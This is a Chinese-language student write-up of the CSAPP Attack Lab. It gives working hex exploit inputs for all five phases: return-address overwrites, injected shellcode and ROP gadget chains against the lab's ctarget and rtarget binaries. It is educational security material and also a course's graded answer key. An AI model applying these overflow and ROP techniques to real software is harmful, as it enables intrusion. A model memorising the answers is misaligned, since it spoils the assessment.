CSAPP: attacklab
前言:注意这个lab不一定能用WSL做,可能会报毫无道理的段错误(Segmentation Fault)。因为学校服务器拿 Ubuntu 16.04 生成。改到 VMWare 跑 Ubuntu 20.04 是可行的。
结果图
相关指令
这个lab不用打断点方便很多。
phase1, 2:
cat phaseX.txt | ./hex2raw | ./ctarget
./hex2raw < phaseX.txt > phaseX-raw.txt
gdb ctarget
run < phaseX-raw.txt
phase3, 4, 5:
cat phaseX.txt | ./hex2raw | ./rtarget
末尾加 -q 是不发送到评测服务器。
phase5
我们要做的事情类似于phase3,如下:
0000000000000000 <.text>:
0: 48 c7 c7 b8 00 64 55 mov $0x556400b8,%rdi
7: 68 92 18 40 00 pushq $0x401892
c: c3 retq
此时我们要解决以下问题:
0x556400b8
本来是我们用于存放字符串的位置(执行的命令之后),但是我们现在此位置未知。
首先类似于phase4,将我们所需注入的代码:mov 字符串地址,%rdi
和执行touch3拆解为:(伪代码)
`popq %rax` 对应地址
此处存放所需字符串地址
`movq %rax,%rdi` 对应地址
touch3对应地址
那么接下来只要考虑如何获取到存放的字符串地址。分析farm发现:
0000000000401964 <mid_farm>:
401964: b8 01 00 00 00 mov $0x1,%eax
401969: c3 ret
000000000040196a <add_xy>: # this!
40196a: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40196e: c3 ret
000000000040196f <getval_376>:
40196f: b8 89 c1 08 c9 mov $0xc908c189,%eax
401974: c3 ret
0000000000401975 <setval_439>:
401975: c7 07 a9 d6 38 c9 movl $0xc938d6a9,(%rdi)
40197b: c3 ret
000000000040197c <addval_311>:
40197c: 8d 87 09 ca 84 db lea -0x247b35f7(%rdi),%eax
401982: c3 ret
0000000000401983 <getval_436>:
401983: b8 89 c1 18 c0 mov $0xc018c189,%eax
401988: c3 ret
0000000000401989 <addval_353>:
401989: 8d 87 89 c1 00 c9 lea -0x36ff3e77(%rdi),%eax
40198f: c3 ret
0000000000401990 <addval_366>: # movq %rsp,%rax
401990: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax
401996: c3 ret
0000000000401997 <addval_378>:
401997: 8d 87 09 d6 38 d2 lea -0x2dc729f7(%rdi),%eax
40199d: c3 ret
000000000040199e <addval_483>:
40199e: 8d 87 48 89 e0 c1 lea -0x3e1f76b8(%rdi),%eax
4019a4: c3 ret
00000000004019a5 <getval_385>:
4019a5: b8 48 c9 e0 c3 mov $0xc3e0c948,%eax
4019aa: c3 ret
00000000004019ab <setval_325>:
4019ab: c7 07 81 ca 84 db movl $0xdb84ca81,(%rdi)
4019b1: c3 ret
00000000004019b2 <setval_102>:
4019b2: c7 07 89 d6 90 c2 movl $0xc290d689,(%rdi)
4019b8: c3 ret
00000000004019b9 <setval_321>:
4019b9: c7 07 89 ca 91 90 movl $0x9091ca89,(%rdi)
4019bf: c3 ret
00000000004019c0 <setval_449>:
4019c0: c7 07 89 d6 c1 66 movl $0x66c1d689,(%rdi)
4019c6: c3 ret
00000000004019c7 <getval_493>:
4019c7: b8 a9 d6 20 db mov $0xdb20d6a9,%eax
4019cc: c3 ret
00000000004019cd <setval_478>:
4019cd: c7 07 48 99 e0 90 movl $0x90e09948,(%rdi)
4019d3: c3 ret
00000000004019d4 <getval_180>: # movl %esp,%eax
4019d4: b8 4a 89 e0 c3 mov $0xc3e0894a,%eax
4019d9: c3 ret
00000000004019da <addval_109>:
4019da: 8d 87 35 89 c1 92 lea -0x6d3e76cb(%rdi),%eax
4019e0: c3 ret
00000000004019e1 <setval_374>:
4019e1: c7 07 89 c1 94 c0 movl $0xc094c189,(%rdi)
4019e7: c3 ret
00000000004019e8 <setval_181>: # movl %ecx,%edx
4019e8: c7 07 89 ca c3 e2 movl $0xe2c3ca89,(%rdi)
4019ee: c3 ret
00000000004019ef <setval_259>:
4019ef: c7 07 89 ca 30 c9 movl $0xc930ca89,(%rdi)
4019f5: c3 ret
00000000004019f6 <getval_105>:
4019f6: b8 89 ca 90 c3 mov $0xc390ca89,%eax
4019fb: c3 ret
00000000004019fc <addval_494>: # movl %eax,%ecx
4019fc: 8d 87 89 c1 20 db lea -0x24df3e77(%rdi),%eax
401a02: c3 ret
0000000000401a03 <setval_137>: # movl %edx,%esi
401a03: c7 07 f2 89 d6 c3 movl $0xc3d689f2,(%rdi)
401a09: c3 ret
0000000000401a0a <getval_243>:
401a0a: b8 5b 99 d6 c3 mov $0xc3d6995b,%eax
401a0f: c3 ret
0000000000401a10 <getval_335>:
401a10: b8 48 89 e0 90 mov $0x90e08948,%eax
401a15: c3 ret
0000000000401a16 <getval_115>: # movl %esp,%eax
401a16: b8 68 89 e0 c3 mov $0xc3e08968,%eax
401a1b: c3 ret
0000000000401a1c <addval_158>:
401a1c: 8d 87 89 d6 84 c0 lea -0x3f7b2977(%rdi),%eax
401a22: c3 ret
0000000000401a23 <getval_457>:
401a23: b8 89 c1 94 c3 mov $0xc394c189,%eax
401a28: c3 ret
0000000000401a29 <addval_400>:
401a29: 8d 87 89 ca 94 db lea -0x246b3577(%rdi),%eax
401a2f: c3 ret
0000000000401a30 <getval_202>:
401a30: b8 48 89 e0 94 mov $0x94e08948,%eax
401a35: c3 ret
0000000000401a36 <addval_293>:
401a36: 8d 87 89 c1 c2 18 lea 0x18c2c189(%rdi),%eax
401a3c: c3 ret
0000000000401a3d <setval_479>:
401a3d: c7 07 89 ca 28 db movl $0xdb28ca89,(%rdi)
401a43: c3 ret
0000000000401a44 <end_farm>:
401a44: b8 01 00 00 00 mov $0x1,%eax
401a49: c3 ret
gadget为我们提供了add_xy
指令,区别于其他所有指令,可能会完整用到该指令。结合课本 支持变长栈帧
一节中提到的利用 %rbp
构造相对位置,而我们的 %rsp
的地址可以动态获取得到,考虑利用相对位置获取字符串的动态位置。
那么我们目标就很明晰了:构造 add %rsp, 相对位移量。
倒推得到我们需要将 %rsp
和 相对位移量 传给 %rdi
和 %rsi
(或相反),结合我们挖到的其他指令:
# # start_farm
# popq %rax
# movq %rax,%rdi
# movq %eax,%edi
# # mid_farm
# movq %rsp,%rax
# movl %esp,%eax
# movl %ecx,%edx
# movl %eax,%ecx
# movl %edx,%esi
# movl %esp,%eax
# # end_farm
发现可以做到
%rsp
→ %rax
→ %rdi
相对位移量 → %rax
→ %ecx
→ %edx
→ %esi
这两条路径,从而满足我们的全部要求。
(其中 # movl %eax,%ecx
是因为我们在直接找完其他指令之后发现需要有一条目标操作数D为%edx
或%ecx
或%rdx
或%rcx
,因此搜寻包含 89 c1
或 89 c2
且之后返回的指令。寻找发现这一条返回之前包含nop
、但满足我们的要求。)
构造伪代码指令如下:
(%rsp指向此处↓)
地址: `movq %rsp,%rax` (0000000000401992)
地址: `movq %rax,%rdi` (000000000040194c)
地址: `popq %rax` (0000000000401933)
值: 相对位移量(待写完后计算得是72,即0x48,见下)
地址: `movl %eax,%ecx` (00000000004019fe)
地址: `movl %ecx,%edx` (00000000004019ea)
地址: `movl %edx,%esi` (0000000000401a06)
地址: add_xy (000000000040196a)
(上述完成构造所需字符串地址)
地址: `movq %rax,%rdi` (000000000040194c)
地址: touch3 (0000000000401892)
值: 所需字符串 (33 36 36 31 61 39 39 34 00)
翻译如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
92 19 40 00 00 00 00 00
**4c** 19 40 00 00 00 00 00
33 19 40 00 00 00 00 00
<48> 00 00 00 00 00 00 00
fe 19 40 00 00 00 00 00
ea 19 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
6a 19 40 00 00 00 00 00
4c 19 40 00 00 00 00 00
92 18 40 00 00 00 00 00
**33** 36 36 31 61 39 39 34 00
此处观察偏移量。
我们知道%rsp
一开始指向movq %rsp,%rax
处(对应 92 19 40 00 00 00 00 00
),经过一次 popq
指令+8,左负右正,移动到了 **4c** 19 40 00 00 00 00 00
处,也就是说我们所需的是此处到我们所需字符串的相对偏移量。
从**4c**
处到**33**
处为72个字节,从而获得偏移量为+0x48,填入< >
位置即可。
恭喜皆传。
phase4
我们要做的事情类似于phase2,如下:
movq $0x3661a994,%rdi # set the register
pushq 0x401781 # the address of touch2
ret
但是,phase2中已知栈底在 0x55640088
处、从而可以直接从被替代的返回值处(也就是%rsp
指向的位置)执行上述指令。但phase4未知栈底位置、且如此存入栈其他位置的代码无法执行,只能另做他法。
首先分析 start_farm
到 mid_farm
:
0000000000401929 <start_farm>:
401929: b8 01 00 00 00 mov $0x1,%eax
40192e: c3 ret
000000000040192f <addval_334>: # popq %rax: 0000000000401933
40192f: 8d 87 0f 58 58 90 lea -0x6fa7a7f1(%rdi),%eax
401935: c3 ret
0000000000401936 <addval_451>:
401936: 8d 87 e5 72 58 90 lea -0x6fa78d1b(%rdi),%eax
40193c: c3 ret
000000000040193d <getval_471>:
40193d: b8 58 91 c3 43 mov $0x43c39158,%eax
401942: c3 ret
0000000000401943 <addval_154>: # movq %eax,%edi
401943: 8d 87 4a 89 c7 c3 lea -0x3c3876b6(%rdi),%eax
401949: c3 ret
000000000040194a <setval_392>: # movq %rax,%rdi: 000000000040194c
40194a: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
401950: c3 ret
0000000000401951 <getval_283>:
401951: b8 3b e8 f4 50 mov $0x50f4e83b,%eax
401956: c3 ret
0000000000401957 <getval_162>:
401957: b8 68 89 c7 90 mov $0x90c78968,%eax
40195c: c3 ret
000000000040195d <setval_490>:
40195d: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
401963: c3 ret
0000000000401964 <mid_farm>:
401964: b8 01 00 00 00 mov $0x1,%eax
401969: c3 ret
注意我们所需“断章取义”的地址开始处与函数入口不同。
从以上分析的指令寻找,发现 movq $0x3661a994,%rdi
可以拆作两步: popq %rax
和 movq %rax,%rdi
,其中将$0x3661a994
存在栈指针指向的位置。这样可以做到不知道栈底的位置、但执行相同的操作。
基于这个思路,我们将所需执行的“断章取义”的代码(也就是"农场"里的那些地址)全部写在被替代的返回值处,包括如下操作:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
(%rsp指向这里,即原来的返回地址开始处,把它改成需要执行的第一个指令 popq %rax 的地址: 0000000000401933)
33 19 40 00 00 00 00 00
(之后rsp完成返回后上移,正好挪到我们所需传入值 0x3661a994 的位置,执行pop)
94 a9 61 36 00 00 00 00
(注意此处pop传入之后移动8个字节,所以注意补全位数)
(执行完pop后恰好移动到下一个指令 movq %rax,%rdi 的地址: 000000000040194c 处)
4c 19 40 00 00 00 00 00
(同样道理,利用地址执行touch2: 0000000000401781)
81 17 40 00 00 00 00 00
简单总结,我们通过断章取义完成了第一套指令的拼凑,而实际上这个断章取义的过程也是函数调用的过程。
phase3
cookie: 3661a994
,注意到3对应于0x33,a对应于97即0x61(或A对应65),那么这八位的字符表示分别为
33 36 36 31 61 39 39 34 00
最后的00
是字符串结尾。
注意此处不是“小端法”,因为字符串理解为一系列字符、每个字符各自为一个值按顺序存放;而我们存放地址等时是对“同一个值”用多个字符,才需要小端。
我们用类似于上一个phase的方法进行修改:
下述的0x401892
是touch3的地址,0x55640088
是栈底(输入字符串的位置),我们存放字符串在加48即0x30的位置,它的地址为 0x556400b8
。
0000000000000000 <.text>:
0: 48 c7 c7 b8 00 64 55 mov $0x556400b8,%rdi
7: 68 92 18 40 00 pushq $0x401892
c: c3 retq
48 c7 c7 b8 00 64 55 68 92 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 00 64 55 00 00 00 00 33 36 36 31 61 39 39 34 00
有趣的是,如果我们将cookie字符串存放到大片的00处,由于调用touch3会额外有push和sub(add负值等同于sub)等对栈指针的操作(相减类似于向上述的往左覆盖),我们存放的cookie字符串会被覆盖。因此将cookie字符串存放在字符串末尾巧妙地防止了这一点。运气很好没碰到这个难点,直接解决了。
phase2
我们考虑的思路是分两步:
- 修改寄存器的值为我们所需的cookie
- 执行touch2
为了做到这些,我们首先需要更多的空间存放cookie和修改的指令。
考虑利用程序为该栈帧分配的40个字节。可以将修改值、之后执行的这些指令全部写在栈帧中,而我们前一个phase所做的跳转改为跳转到栈底,执行完上述操作。
为了执行touch2,我们可以利用类似于call指令的方法,即将“call指令的下一行”压入栈中、之后返回就会将栈中的地址弹出到PC,作为我们下一处执行的地址,从而将控制归还给touch2。
基于以上思路,写出的汇编代码如下:
movq $0x3661a994,%rdi # set the register
pushq 0x401781 # the address of touch2
ret
对应于以下汇编代码:
0000000000000000 <.text>:
0: 48 c7 c7 94 a9 61 36 mov $0x3661a994,%rdi
7: 68 81 17 40 00 pushq $0x401781
c: c3 retq
而为了利用栈帧分配的40字节,我们就需要获取sub 0x28之后栈帧的地址,跳转到这个位置执行上述指令。
为此,我们选择使用gdb在执行完sub 0x28之后的下一行打断点 b *0x401743
,并读取寄存器的值,得到栈底地址 %rsp = 0x55640088
。
从而我们按照与phase1相同的思路覆盖返回地址即可。最终得到的代码如下:
48 c7 c7 94 a9 61 36 68 81 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 00 64 55 00
phase1
touch1
的入口地址是 0x401755
,
考虑到getbuf
先在返回地址处往栈顶分配0x28=40字节的空间,输入值超过40字节即可冲掉返回地址(8字节),使“返回”变为执行我们的指令。所以考虑输入以下内容:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
55 17 40 00 00 00 00 00
其中90代表nop
,但其实写别的也没关系,因为这40个字节用不到。
之后执行以下指令:
cat phase1.txt | ./hex2raw | ./ctarget -q
即可。